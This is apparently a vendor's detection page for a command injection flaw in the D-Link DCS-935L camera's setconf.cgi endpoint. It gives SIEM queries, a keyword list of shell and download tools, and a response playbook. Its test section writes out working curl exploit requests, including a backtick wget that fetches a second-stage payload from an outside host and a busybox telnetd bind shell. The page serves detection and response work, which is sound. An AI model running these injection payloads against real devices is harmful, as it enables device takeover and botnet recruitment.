Skip to content
CVE-2026-133680

D-Link DCS-935L setconf.cgi loginRouter OS Command Injection (CVE-2026-133680)

Initial Access Execution Last updated:

Detects exploitation of CVE-2026-133680, an OS command injection vulnerability (CWE-77, CWE-78, CVSS 8.6) in the loginRouter function of web/cgi-bin/localrecording/setconf.cgi on the D-Link DCS-935L camera firmware 1.10.01. An attacker supplies crafted input containing shell metacharacters through the account/password argument of the setconf.cgi endpoint, which is passed to a system shell, allowing remote command execution on the device. A public exploit is available. This detection surfaces HTTP requests to the vulnerable CGI containing command-injection patterns and, where device telemetry is available, anomalous child-process spawns from the web/cgi handler.

Vulnerability Intelligence

Theoretical

What is CVE-2026-133680 D-Link DCS-935L setconf.cgi loginRouter OS Command Injection (CVE-2026-133680)?

D-Link DCS-935L setconf.cgi loginRouter OS Command Injection (CVE-2026-133680) (CVE-2026-133680) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for D-Link DCS-935L setconf.cgi loginRouter OS Command Injection (CVE-2026-133680), covering the data sources and telemetry it touches: Web Proxy, Network Firewall, NGFW URL Logging. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence
let ciPatterns = dynamic([";","&&","||","|","`","$(","%3B","%26%26","%7C","%60","wget","curl","nc ","/bin/sh","busybox","telnetd"]);
let target = "setconf.cgi";
CommonSecurityLog
| where DeviceVendor in~ ("Zscaler","Palo Alto Networks","Fortinet") or isnotempty(RequestURL)
| where RequestURL has "localrecording/setconf.cgi" or RequestURL has target
| where RequestURL has_any (ciPatterns) or AdditionalExtensions has_any (ciPatterns)
| extend MatchedPattern = tostring(set_difference(ciPatterns, dynamic([])))
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod, DeviceVendor, DeviceProduct, DeviceAction
| order by TimeGenerated desc

Flags HTTP requests to the D-Link DCS-935L setconf.cgi loginRouter endpoint containing OS command-injection metacharacters or download/shell utility names, via proxy/firewall web logs normalized into CommonSecurityLog.

high severity medium confidence

Data Sources

Web Proxy Network Firewall NGFW URL Logging

Required Tables

CommonSecurityLog

False Positives

  • Vulnerability scanners (Nessus, Qualys, Nuclei) probing the CGI with injection payloads during authorized assessments.
  • Security researchers or NMS tools legitimately configuring recording settings whose values happen to contain shell metacharacters.
  • WAF/IPS appliances replaying sanitized attack signatures for tuning that traverse the same proxy.

Query fingerprint DF00-1b44baf6e7 · licence

Sigma logsource & community rules

The detection logic for D-Link DCS-935L setconf.cgi loginRouter OS Command Injection (CVE-2026-133680) (CVE-2026-133680) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Command injection via setconf.cgi query string (lab camera/emulator)

    Expected signal: Proxy/firewall/IDS web log of a request to localrecording/setconf.cgi containing a ';' and the string 'id'.

  2. Test 2 Download-and-execute injection via POST body

    Expected signal: Web log entry for setconf.cgi with a backtick and 'wget' in the request body, followed by an outbound HTTP fetch from the device.

  3. Test 3 URL-encoded metacharacter injection

    Expected signal: Web log of setconf.cgi request containing %3B and 'busybox'/'telnetd'.


Response Playbook

Triage

  1. Confirm the destination IP is a D-Link DCS-935L camera running firmware 1.10.01 (the version named in CVE-2026-133680); check device inventory/DHCP fingerprints and the HTTP Server banner.
  2. Extract and URL-decode the full setconf.cgi request (URI + POST body) and identify the exact injected command sequence following shell metacharacters (;, &&, |, `, $()).
  3. Determine whether the request succeeded (HTTP 200 vs error/redirect) and whether it reached loginRouter; correlate the source IP against known-good management hosts.
  4. Check for a burst or sequence of setconf.cgi requests from the same source, indicating iterative exploitation or payload staging.

Containment

  1. Block the attacker source IP at the perimeter firewall and restrict management access to the camera's web interface to a trusted VLAN/ACL.
  2. Isolate the affected DCS-935L from the internet and from lateral network segments until it can be inspected or re-flashed; disable UPnP/port-forwarding exposing the CGI.
  3. If compromise is confirmed, power-cycle and factory-reset the device, then re-provision on isolated firmware.

Evidence Collection

  1. Preserve proxy/firewall/IDS logs of all setconf.cgi requests from the source IP, including full URI and request bodies, with timestamps.
  2. If device access is available, capture the camera's web/cgi logs, running process list, crontab, and any files written to /tmp or /var for forensic review.
  3. Capture a full packet trace to/from the device to recover the injected command, any second-stage download URLs, and C2 connections.

Escalation Criteria

  • ! Escalate to incident response if the injected command includes download-and-execute tooling (wget/curl/tftp of a binary) or outbound connections from the device follow the request.
  • ! Escalate if multiple cameras or other IoT devices show the same setconf.cgi injection pattern, indicating a botnet-style campaign.
  • ! Escalate if the device subsequently initiates scanning, telnetd/backdoor listeners, or lateral movement into internal subnets.

Investigation Guide

Forensic Artifacts

  • > Web/CGI access logs on the camera showing setconf.cgi requests with injected parameters.
  • > Unexpected files in /tmp, /var/tmp, or /mnt and new/modified crontab entries on the device.
  • > Anomalous child processes (wget, curl, tftp, sh, telnetd, nc) parented by the web/cgi handler, and new listening sockets.

Tuning Guidance

Baseline the legitimate management hosts and NMS tools that configure DCS-935L recording settings and allowlist them by source IP to cut false positives. Scope the detection to subnets/VLANs where DCS-935L cameras actually live. If authorized vulnerability scanners regularly probe these devices, exclude their source IPs or correlate with scan-window schedules rather than disabling the rule. Tighten by requiring both the setconf.cgi path AND decoded metacharacters, and raise confidence when device-side telemetry confirms a matching child-process spawn.


Hunting Queries

Surfaces source IPs making repeated or varied requests to setconf.cgi against DCS-935L cameras, a signal of enumeration or iterative command-injection attempts even without obvious metacharacters.

Hunting — KQL
kql
// df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "setconf.cgi" | summarize Requests=count(), Payloads=make_set(RequestURL, 20) by SourceIP, DestinationIP | where Requests > 3 | order by Requests desc
Hunting — SPL
spl
``` df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=web uri="*setconf.cgi*" | stats count values(uri) as uris dc(uri) as distinct_uris by src_ip dest_ip | where count > 3 | sort - count

Atomic Red Team Tests

Test 1 Command injection via setconf.cgi query string (lab camera/emulator)
linux

Sends a GET request to the DCS-935L setconf.cgi endpoint with a semicolon-delimited injected command in a parameter to exercise the loginRouter command-injection path.

Command

bash
curl -sk "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi?loginRouter=admin;id" -o /tmp/cve_2026_133680_resp.txt

Cleanup

bash
rm -f /tmp/cve_2026_133680_resp.txt

Expected Telemetry

Proxy/firewall/IDS web log of a request to localrecording/setconf.cgi containing a ';' and the string 'id'.

Expected Detection

KQL/SPL/EQL network rules fire on the setconf.cgi path plus the ';' metacharacter.

Test 2 Download-and-execute injection via POST body
linux

POSTs a crafted body containing a shell command substitution that fetches a second-stage payload, simulating botnet-style exploitation.

Command

bash
curl -sk -X POST "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi" --data 'loginRouter=x`wget http://203.0.113.9/m -O /tmp/m`' -o /tmp/cve_2026_133680_post.txt

Cleanup

bash
rm -f /tmp/cve_2026_133680_post.txt

Expected Telemetry

Web log entry for setconf.cgi with a backtick and 'wget' in the request body, followed by an outbound HTTP fetch from the device.

Expected Detection

Body-inspecting SPL/EQL/CQL rules match on 'wget' and backtick; device telemetry shows wget spawned by the cgi handler.

Test 3 URL-encoded metacharacter injection
linux

Sends URL-encoded shell metacharacters to evade naive path-only logging and verify decoded-pattern matching.

Command

bash
curl -sk "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi?loginRouter=a%3Bbusybox%20telnetd%20-l%2Fbin%2Fsh%20-p9999" -o /tmp/cve_2026_133680_enc.txt

Cleanup

bash
rm -f /tmp/cve_2026_133680_enc.txt

Expected Telemetry

Web log of setconf.cgi request containing %3B and 'busybox'/'telnetd'.

Expected Detection

Detections matching encoded (%3B, %7C) and decoded patterns fire; busybox/telnetd keywords flagged.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections